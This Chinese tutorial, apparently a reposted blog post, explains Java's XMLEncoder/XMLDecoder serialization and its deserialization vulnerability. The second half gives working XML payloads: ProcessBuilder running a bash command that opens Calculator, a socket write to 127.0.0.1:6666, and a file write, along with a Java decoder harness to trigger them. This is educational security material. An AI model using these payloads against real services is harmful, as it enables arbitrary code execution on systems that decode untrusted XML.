XMLDecoder/XMLEncoder
XMLDecoder
/XMLEncoder
是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder
读取使用 XMLEncoder
创建的XML文档获取JavaBeans。
XMLEncoder示例
import javax.swing.*;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
public class XmlEncoder {
public static void main(String[] args) throws FileNotFoundException {
XMLEncoder e = new XMLEncoder(
new BufferedOutputStream(
new FileOutputStream("Test.xml")));
e.writeObject(new JButton("Hello, world"));
e.close();
}
}
XMLEncoder
类是ObjectOutputStream
的补充,序列化JButton
类,生成的序列化XML
文件如下:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_333" class="java.beans.XMLDecoder">
<object class="javax.swing.JButton">
<string>Hello, world</string>
</object>
</java>
XMLDecoder示例
import java.beans.XMLDecoder;
import java.io.*;
public class XmlDecoder {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(
new BufferedInputStream(
new FileInputStream("Test.xml")));
Object result = d.readObject();
System.out.println(result);
d.close();
}
}
使用XMLDecoder
读取序列化的XML
文档,获取JButton
类并打印输出:
javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=com.apple.laf.AquaButtonBorder$Dynamic@37a71e93,flags=288,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=0,left=2,bottom=0,right=2],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=false,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello, world,defaultCapable=true]
XML文档-对象和元素
XMLEncoder
生成的XML
序列化文档表示对象,文档中的每个元素都用来描述如何调用对象的方法。
string标签
Hello, World
字符串表示的方式为<string>Hello, World</string>
object标签
通过<object>
标签表示对象,class
属性指定具体类(用于调用其内部方法),method
属性指定具体方法名称(比如构造函数的的方法名为new
)
new JButton("Hello, world")
对应的XML文档:
<object class="javax.swing.JButton" method="new">
<string>Hello, world</string>
</object>
void标签
通过void
标签表示函数调用、赋值等操作,method
属性指定具体的方法名称。
JButton b = new JButton();b.setText("Hello, world");
对应的XML文档:
<object class="javax.swing.JButton">
<void method="setText">
<string>Hello, world</string>
</void>
</object>
array标签
通过array
标签表示数组,class
属性指定具体类,内部void
标签的index
属性表示根据指定数组索引赋值。
String[] s = new String[3];s[1] = "Hello, world";
对应的XML文档:
<array class="java.lang.String" length="3">
<void index="1">
<string>Hello, world</string>
</void>
</array>
XMLDecoder反序列化漏洞
通过XMLDecoder
反序列化XML文档时可以执行类方法,若XML文档可控且构造恶意内容,就可以完成任意代码执行。
恶意XML:
<?xml version="1.0" encoding="UTF-8"?>
<java>
<void class="java.lang.ProcessBuilder" method="new">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /System/Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</void>
</java>
使用java.lang.ProcessBuilder
进行代码执行,整个恶意XML
反序列化后相当于执行代码:
String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = "open /System/Applications/Calculator.app/";
new ProcessBuilder(cmd).start();
反序列化代码:
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.lang.ProcessBuilder;
public class xmlDecodeTest {
public static void main(String[] args) throws FileNotFoundException {
String path = "poc.xml";
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder a = new XMLDecoder(bis);
a.readObject();
}
}
运行后弹出计算器:
可用payload
- 执行命令
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /System/Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</object>
- 使用套接字,连接127.0.0.1的6666端口并发送数据
<object class="java.net.Socket">
<string>127.0.0.1</string>
<int>6666</int>
<void method="getOutputStream">
<void method="write">
<array class="byte" length="2">
<void index="0">
<byte>49</byte>
</void>
<void index="1">
<byte>49</byte>
</void>
</array>
</void>
</void>
</object>
- 创建文件并写入
<object class="java.io.PrintWriter">
<void class="java.io.FileOutputStream">
<string>2.txt</string>
</void>
<string>2.txt</string>
<void method="print">
<string>xmldecoder_vul_test</string>
</void>
<void method="close"/>
</object>
转载的吧